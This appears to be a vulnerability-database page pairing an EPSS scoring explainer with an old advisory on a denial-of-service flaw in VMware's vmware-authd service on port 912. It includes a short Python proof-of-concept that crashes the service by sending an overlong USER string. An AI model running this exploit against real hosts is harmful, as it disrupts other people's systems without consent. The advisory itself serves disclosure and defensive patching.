EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

1) Introduction
================

Easily run Windows applications on your Mac, including high end games and other graphic applications,
with VMware Fusion. Run Windows and Linux applications on Windows or Linux PCs with the free VMware Player."
=======
2) Bug
=======
Vmware-authd listen on 0.0.0.0 port 912 on a windows box by default.
A denial of service exist in the module vmwarebase.dll of the system process vmware-authd.exe when a long username
or password is supplied to the service, code execution doesn't look possible at this time.
A dump file will be created here: C:\Documents and Settings\LocalService\Application Data\VMware\vmware-authd-*.dmp
Also some old version of this binary (like 6.00.3938.0000) doesn't seems vulnerable to this DoS.
==================
3)Proof of concept
==================
Auth-dos.py :
import struct
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buff = 'A' * 350
target = '192.168.0.102'
port = 912
s.connect((target, port))
data = s.recv(1024)
s.send('USER '+buff+'\r\n')
data = s.recv(1024)
s.send('PASS yo \r\n')
data = s.recv(1024)
print " [+] sending dummy payload"
s.close()
print " [+] done! "
